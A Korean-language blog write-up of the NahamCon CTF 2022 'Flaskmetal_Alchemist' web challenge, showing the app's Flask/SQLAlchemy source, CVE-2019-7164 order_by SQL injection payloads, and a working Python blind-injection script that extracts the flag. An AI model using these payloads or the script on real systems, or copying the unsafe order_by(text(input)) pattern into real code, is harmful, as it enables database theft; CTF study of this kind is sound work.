본문 바로가기

웹해킹/CTF

NahamCon CTF 2022 Flaskmetal_Alchemist Writeup

반응형

NahamCon CTF 2022 Flaskmetal_Alchemist Writeup 

1. Flaskmetal_Alchemist Writeup

Description

Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it's legit.

NOTE: this flag does not follow the usual MD5 hash style format, but instead is a short style with lower case flag{letters_with_underscores}

Flaskmetal_Alchemist Writeup

원소 기호 별 숫자와 이름이 나온다. 정렬할 수 있고, 원소를 검색할 수 있는 사이트가 나온다. 먼저 디렉터리 구조는 다음과 같다. 

 

Flaskmetal_Alchemist Directory structure

 

이번 문제는 python 프로그램으로 되어있는데 SQLAlchemy 와 Flask를 사용한 python 프로그램이다.

 

SQLAlchemy

: python에서 사용가능한 ORM(Object-relational maping)이다. ORM은 말 그대로 객체(Object)와 관계(Relation)를 연결해주는 역할을 수행한다.

 

database.py

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base

engine = create_engine("sqlite:////tmp/test.db")
db_session = scoped_session(
    sessionmaker(autocommit=False, autoflush=False, bind=engine)
)
Base = declarative_base()
Base.query = db_session.query_property()


def init_db():
    Base.metadata.create_all(bind=engine)

database.py 에서는 DB가 현재 sqlite를 사용하고 있음을 알 수 있다. 

 

moels.py

from database import Base
from sqlalchemy import Column, Integer, String


class Metal(Base):
    __tablename__ = "metals"
    atomic_number = Column(Integer, primary_key=True)
    symbol = Column(String(3), unique=True, nullable=False)
    name = Column(String(40), unique=True, nullable=False)

    def __init__(self, atomic_number=None, symbol=None, name=None):
        self.atomic_number = atomic_number
        self.symbol = symbol
        self.name = name


class Flag(Base):
    __tablename__ = "flag"
    flag = Column(String(40), primary_key=True)

    def __init__(self, flag=None):
        self.flag = flag
 
models.py 에서는 metals테이블의 atomic_number와 symbol, name이  column이고, Flag클래스에서 Flag 테이블의 flag가 column으로 등록되어 있다.
 
 
app.py
from flask import Flask, render_template, request, url_for, redirect
from models import Metal
from database import db_session, init_db
from seed import seed_db
from sqlalchemy import text

app = Flask(__name__)


@app.teardown_appcontext
def shutdown_session(exception=None):
    db_session.remove()


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
        else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
    else:
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)


if __name__ == "__main__":
    seed_db()
    app.run(debug=False)
 
 

requirements.txt

click==8.1.2
Flask==2.1.1
importlib-metadata==4.11.3
itsdangerous==2.1.2
Jinja2==3.1.1
MarkupSafe==2.1.1
SQLAlchemy==1.2.17
Werkzeug==2.1.1
zipp==3.8.0
 
rquirements.txt에서는 사용되고 있는 프로그램의 버전이 정확하게 기재되어 있다. 여기서 SQLAlchemy의 버전이 중요하다.
 
 
cve-2019-7164 Detail
SQLAlchemy 버전 1.2.17을 통해 order_by 매개변수를 통한 SQL 삽입을 허용한다. 이번 문제의 핵심이다.
 
 
 
else:
            metals = Metal.query.filter(
                Metal.name.like("%{}%".format(search))
            ).order_by(text(order))
        return render_template("home.html", metals=metals)
app.py에서 이 부분에서 cve-2019-7164 취약점을 이용할 수 있다. 현재 SQL Injection이 발생하는 부분이다.
 
 
POST 메소드를 보낼 때 페이로드(order_by)를 보내면 정렬이 된다. 이때 페이로드는 다음과 같이 사용할 수 있다.
1) search&order=abc
2)search=&order=CASE+WHEN(SELECT+SUBSTR(flag,1,1)+FROM+flag)='f'+THEN+atomic_number+ELSE+symbol+END
3) search=ium&order=name
 
이제 Blind SQL Injection과 같이 exploit 코드를 작성하여 실행해보자.
 
 

 solution

#!/usr/bin/env python3

from requests import post
from string import ascii_lowercase

URL = 'http://challenge.nahamcon.com:30702'
ALPHABET = ascii_lowercase + '{}_'
INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"

flag = ''
index = 1
while True:
    for char in ALPHABET:
        response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })
        # The first atomic symbol appears on index 74 of the response (split by newlines).
        # If that is Li (which has an atomic number of 3), then we sorted by atomic number.
        first_atomic_symbol = response.text.split('\n')[74]
        if 'Li' in first_atomic_symbol:
            flag += char
            index += 1
            break
    print(flag)
    if flag[-1] == '}':
        break

Flaskmetal_Alchemist Solution

 

Flag: flag{order_by_blind}

 


참고문헌

https://ulfrid.github.io/python/python-sqlalchemy/

ctf/2022/nahamcon/web/flaskmetal_alchemist at master · ryan-cd/ctf · GitHub

 

 

728x90